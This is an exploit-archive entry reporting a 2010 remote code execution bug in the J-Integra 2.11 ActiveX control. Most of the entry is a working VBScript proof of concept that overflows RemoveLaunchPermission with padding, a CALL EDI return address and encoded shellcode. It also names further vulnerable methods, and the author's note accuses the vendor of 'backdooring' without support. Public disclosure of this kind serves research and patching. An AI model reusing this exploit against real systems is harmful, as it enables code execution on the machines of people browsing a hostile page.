J-Integra 2.11 - Remote Code Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType

J-Integra v2.11 Remote Code Execution Exploit, Low Impact due to Unsafe Object, Silent Patch in v2.1


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j-integra v2.11 Remote code execution vulnerability
Discovered on: Thursday, October 28, 2010, 10:10:12 PM
Download: http://j-integra.intrinsyc.com/
Author: bz1p, [email protected]
impact: LOW, due to the object NOT marked safe for scripting
Tested on: XP SP3 IE7
CVE: ? (0day)

NOTE:
This vuln was silently patched by the developers (v2.12), hence I am providing 
this PoC. They did not change the versions for DCOMConfig.dll, so I can only
conclude that they are sneaky and should be slapped for backdooring 
software and making customers pay mula.
--&#62;

&#60;object classid=&#39;clsid:F21507A7-530F-4A89-8FE4-9D989670FD2C&#39; id=&#39;target&#39; &#62;&#60;/object&#62;
&#60;script language=&#39;vbscript&#39;&#62;
esp = String(100, &#34;B&#34;)

calc = unescape(&#34;%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%48%49&#34;) & _
unescape(&#34;%49%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%68&#34;) & _
unescape(&#34;%58%50%30%42%31%42%41%6b%41%41%78%32%41%42%32%42&#34;) & _
unescape(&#34;%41%30%42%41%41%58%38%41%42%50%75%59%79%39%6c%4a&#34;) & _
unescape(&#34;%48%50%44%63%30%35%50%43%30%4c%4b%57%35%77%4c%4c&#34;) & _
unescape(&#34;%4b%51%6c%35%55%64%38%77%71%6a%4f%4c%4b%62%6f%45&#34;) & _
unescape(&#34;%48%4e%6b%31%4f%45%70%55%51%6a%4b%73%79%6e%6b%70&#34;) & _
unescape(&#34;%34%6c%4b%46%61%7a%4e%70%31%4b%70%4e%79%6e%4c%6c&#34;) & _
unescape(&#34;%44%49%50%52%54%67%77%5a%61%59%5a%34%4d%55%51%6f&#34;) & _
unescape(&#34;%32%4a%4b%79%64%37%4b%51%44%41%34%35%54%71%65%6d&#34;) & _
unescape(&#34;%35%4e%6b%53%6f%47%54%65%51%4a%4b%31%76%4e%6b%46&#34;) & _
unescape(&#34;%6c%30%4b%6e%6b%51%4f%75%4c%54%41%58%6b%4c%4b%77&#34;) & _
unescape(&#34;%6c%6e%6b%66%61%58%6b%6d%59%33%6c%46%44%46%64%6a&#34;) & _
unescape(&#34;%63%35%61%6b%70%71%74%6e%6b%63%70%54%70%6f%75%6f&#34;) & _
unescape(&#34;%30%54%38%56%6c%4c%4b%61%50%36%6c%4e%6b%34%30%35&#34;) & _
unescape(&#34;%4c%4c%6d%6e%6b%43%58%75%58%58%6b%54%49%4c%4b%4d&#34;) & _
unescape(&#34;%50%6c%70%43%30%57%70%55%50%6e%6b%32%48%35%6c%71&#34;) & _
unescape(&#34;%4f%67%41%6b%46%53%50%56%36%6b%39%48%78%4d%53%4f&#34;) & _
unescape(&#34;%30%71%6b%32%70%33%58%4c%30%4d%5a%56%64%43%6f%52&#34;) & _
unescape(&#34;%48%6a%38%4b%4e%4c%4a%66%6e%31%47%4b%4f%6b%57%61&#34;) & _
unescape(&#34;%73%70%61%30%6c%71%73%64%6e%70%65%73%48%72%45%35&#34;) & _
unescape(&#34;%50%68&#34;)

eip = unescape(&#34;%2f%55%02%10&#34;) &#39; CALL EDI
arg1=String(253, &#34;A&#34;)
arg1 = arg1 + eip + esp + calc
arg2=&#34;defaultV&#34;

target.RemoveLaunchPermission arg1 ,arg2
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It has also been reported by Dr_IDE that the following methods 
are also vulnerable to the same exploit:
target.RemoveAccessPermission arg1 ,arg2
target.AddLaunchPermission arg1 ,arg2
target.AddAccessPermission arg1 ,arg2
--&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1